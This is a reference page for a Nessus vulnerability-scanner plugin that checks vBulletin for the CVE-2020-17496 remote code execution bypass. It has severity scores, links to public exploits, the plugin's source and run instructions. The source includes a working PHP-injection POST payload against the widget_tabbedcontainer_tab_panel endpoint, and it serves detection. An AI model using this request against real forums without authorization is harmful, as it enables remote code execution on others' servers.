vBulletin CVE-2019-16759 Bypass Remote Code Execution (CVE-2020-17496) (direct check) - Nessus

Critical   Plugin ID: 139457

This page contains detailed information about the vBulletin CVE-2019-16759 Bypass Remote Code Execution (CVE-2020-17496) (direct check) Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 139457
Name: vBulletin CVE-2019-16759 Bypass Remote Code Execution (CVE-2020-17496) (direct check)
Filename: vbulletin_CVE-2019-16759_bypass_direct.nasl
Vulnerability Published: 2020-08-09
This Plugin Published: 2020-08-10
Last Modification Time: 2022-04-11
Plugin Version: 1.8
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: vbulletin_detect.nasl
Required KB Items [?]: www/vBulletin

Vulnerability Information


Severity: Critical
Vulnerability Published: 2020-08-09
Patch Published: N/A
CVE [?]: CVE-2019-16759, CVE-2020-17496
CPE [?]: cpe:/a:vbulletin:vbulletin

Synopsis

A bulletin board system running on the remote web server has a remote code execution vulnerability.

Description

The version of vBulletin running on the remote host is affected by an input-validation flaw in the ajax/render/widget_php API that allows for remote code execution. This plugin tests for a bypass to the fix for CVE-2019-16759.

Solution

Disable PHP widgets or contact the vendor.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub, Immunity Canvas)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the vBulletin CVE-2019-16759 Bypass Remote Code Execution (CVE-2020-17496) (direct check) vulnerability:

  1. Metasploit: exploit/multi/http/vbulletin_widget_template_rce
    [vBulletin 5.x /ajax/render/widget_tabbedcontainer_tab_panel PHP remote code execution.]
  2. Metasploit: exploit/multi/http/vbulletin_widgetconfig_rce
    [vBulletin widgetConfig RCE]
  3. Exploit-DB: exploits/php/webapps/47437.rb
    [EDB-47437: vBulletin 5.x - Remote Command Execution (Metasploit)]
  4. Exploit-DB: exploits/php/webapps/48743.txt
    [EDB-48743: vBulletin 5.6.2 - 'widget_tabbedContainer_tab_panel' Remote Code Execution]
  5. GitHub: https://github.com/Mr-xn/Penetration_Testing_POC
    [CVE-2019-16759]
  6. GitHub: https://github.com/SexyBeast233/SecBooks
    [CVE-2019-16759]
  7. GitHub: https://github.com/amcai/myscan
    [CVE-2019-16759]
  8. GitHub: https://github.com/apidotmy/CVE-2019-16759
    [CVE-2019-16759: Vbulletin RCE Exploits]
  9. GitHub: https://github.com/ardzz/vbulletin-bot
    [CVE-2019-16759]
  10. GitHub: https://github.com/chalern/Pentest-Tools
    [CVE-2019-16759]
  11. GitHub: https://github.com/huyanshuhan/NekoBotV1
    [CVE-2019-16759]
  12. GitHub: https://github.com/jd-961/CVE-2019-16759-bypass
    [CVE-2019-16759]
  13. GitHub: https://github.com/ludy-dev/vBulletin_Routestring-RCE
    [CVE-2019-16759: (CVE-2019-16759) vBulletin_Routestring-RCE]
  14. GitHub: https://github.com/nako48/CVE-2019-16759
    [CVE-2019-16759: Vbulletin RCE Exploit]
  15. GitHub: https://github.com/p0megranate/makura
    [CVE-2019-16759]
  16. GitHub: https://github.com/polar1s7/CVE-2019-16759-bypass
    [CVE-2019-16759]
  17. GitHub: https://github.com/sunian19/CVE-2019-16759
    [CVE-2019-16759]
  18. GitHub: https://github.com/ugur-ercan/exploit-collection
    [CVE-2019-16759]
  19. GitHub: https://github.com/SexyBeast233/SecBooks
    [CVE-2020-17496]
  20. GitHub: https://github.com/ctlyz123/CVE-2020-17496
    [CVE-2020-17496]
  21. GitHub: https://github.com/andripwn/pwn-vbulletin
    [CVE-2019-16759: Identify vulnerable (RCE) vBulletin 5.0.0 - 5.5.4 instances using Shodan ...]
  22. GitHub: https://github.com/FarjaalAhmad/CVE-2019-16759
    [CVE-2019-16759: Interactive-Like Command-Line Console for CVE-2019-16759]
  23. GitHub: https://github.com/M0sterHxck/CVE-2019-16759-Vbulletin-rce-exploit
    [CVE-2019-16759: Vbulletin rce exploit CVE-2019-16759]
  24. GitHub: https://github.com/mas1337/CVE-2019-16759
    [CVE-2019-16759: This tools will extracts and dumps Email + SMTP from vBulletin database server]
  25. GitHub: https://github.com/psychoxploit/vbull
    [CVE-2019-16759: Mass Exploit CVE-2019-16759]
  26. GitHub: https://github.com/r00tpgp/http-vuln-CVE-2019-16759
    [CVE-2019-16759: Nmap NSE Script to Detect vBulletin pre-auth 5.x RCE CVE-2019-16759]
  27. GitHub: https://github.com/theLSA/vbulletin5-rce
    [CVE-2019-16759: CVE-2019-16759 vbulletin 5.0.0 till 5.5.4 pre-auth rce]
  28. GitHub: https://github.com/ludy-dev/vBulletin_5.x-tab_panel-RCE
    [CVE-2020-17496: (CVE-2020-17496) vBulletin 5.x Widget_tabbedcontainer_tab_panel RCE Vuln Test script ...]
  29. GitHub: https://github.com/jas502n/CVE-2019-16759
    [CVE-2019-16759: VBulletin 5.x 未授权远程代码执行漏洞]
  30. Immunity Canvas: CANVAS

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: CVE-2020-17496
CVSS V2 Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:H/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.5 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.5 (Medium)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H/RL:O/RC:C
CVSS Base Score:9.8 (Critical)
Impact Subscore:5.9
Exploitability Subscore:3.9
CVSS Temporal Score:9.4 (Critical)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:9.4 (Critical)

Go back to menu.

Plugin Source


This is the vbulletin_CVE-2019-16759_bypass_direct.nasl nessus plugin source code. This script is Copyright (C) 2020-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(139457);
  script_version("1.8");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2019-16759", "CVE-2020-17496");
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/05/03");

  script_name(english:"vBulletin CVE-2019-16759 Bypass Remote Code Execution (CVE-2020-17496) (direct check)");

  script_set_attribute(attribute:"synopsis", value:
"A bulletin board system running on the remote web server has a remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of vBulletin running on the remote host is affected by an input-validation flaw in the
ajax/render/widget_php API that allows for remote code execution. This plugin tests for a bypass to the fix for
CVE-2019-16759.");
  # https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?62dedb88");
  script_set_attribute(attribute:"solution", value:
"Disable PHP widgets or contact the vendor.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2020-17496");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'vBulletin 5.x /ajax/render/widget_tabbedcontainer_tab_panel PHP remote code execution.');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"CANVAS");

  script_set_attribute(attribute:"vuln_publication_date", value:"2020/08/09");
  script_set_attribute(attribute:"plugin_publication_date", value:"2020/08/10");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:vbulletin:vbulletin");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2020-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("vbulletin_detect.nasl");
  script_require_keys("www/vBulletin");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("http.inc");
include("webapp_func.inc");

port    = get_http_port(default:80);
install = get_kb_item_or_exit('www/'+port+'/vBulletin');

matches = pregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!matches)
  audit(AUDIT_WEB_APP_NOT_INST, "vBulletin", port);

dir = matches[2];

if (dir !~ '/$')
  dir = dir + '/';

url = dir + 'ajax/render/widget_tabbedcontainer_tab_panel';

res = http_send_recv3(
  method:'POST',
  item:url,
  data:'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo(\'crc32("Nessus")=\'.crc32(\'Nessus\'));',
  add_headers:make_array('Content-Type', 'application/x-www-form-urlencoded'),
  port:port,
  exit_on_fail:TRUE
);

# CRC32('Nessus') is 1631274700
if ('1631274700' >!< res[2])
  audit(AUDIT_WEB_APP_NOT_AFFECTED, 'vBulletin', build_url(port:port,qs:dir));

report =
  'Nessus was able to verify the issue using the following request :\n\n' +
  http_last_sent_request() + '\n\n' +
  'The above request resulted in the following output :\n\n' +
  res[2] + '\n\n';

security_report_v4(port:port, extra:report, severity:SECURITY_HOLE);



The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/vbulletin_CVE-2019-16759_bypass_direct.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\vbulletin_CVE-2019-16759_bypass_direct.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/vbulletin_CVE-2019-16759_bypass_direct.nasl

Go back to menu.

How to Run


Here is how to run the vBulletin CVE-2019-16759 Bypass Remote Code Execution (CVE-2020-17496) (direct check) as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select vBulletin CVE-2019-16759 Bypass Remote Code Execution (CVE-2020-17496) (direct check) plugin ID 139457.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl vbulletin_CVE-2019-16759_bypass_direct.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a vbulletin_CVE-2019-16759_bypass_direct.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - vbulletin_CVE-2019-16759_bypass_direct.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state vbulletin_CVE-2019-16759_bypass_direct.nasl -t <IP/HOST>

Go back to menu.

References


See also: Similar and related Nessus plugins:
  • 130168 - vBulletin 'widget_php' Command Execution
  • 17211 - vBulletin misc.php template Parameter PHP Code Injection
  • 136613 - vBulletin 'getIndexableContent' SQL Injection (direct check)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file vbulletin_CVE-2019-16759_bypass_direct.nasl version 1.8. For more plugins, visit the Nessus Plugin Library.

Go back to menu.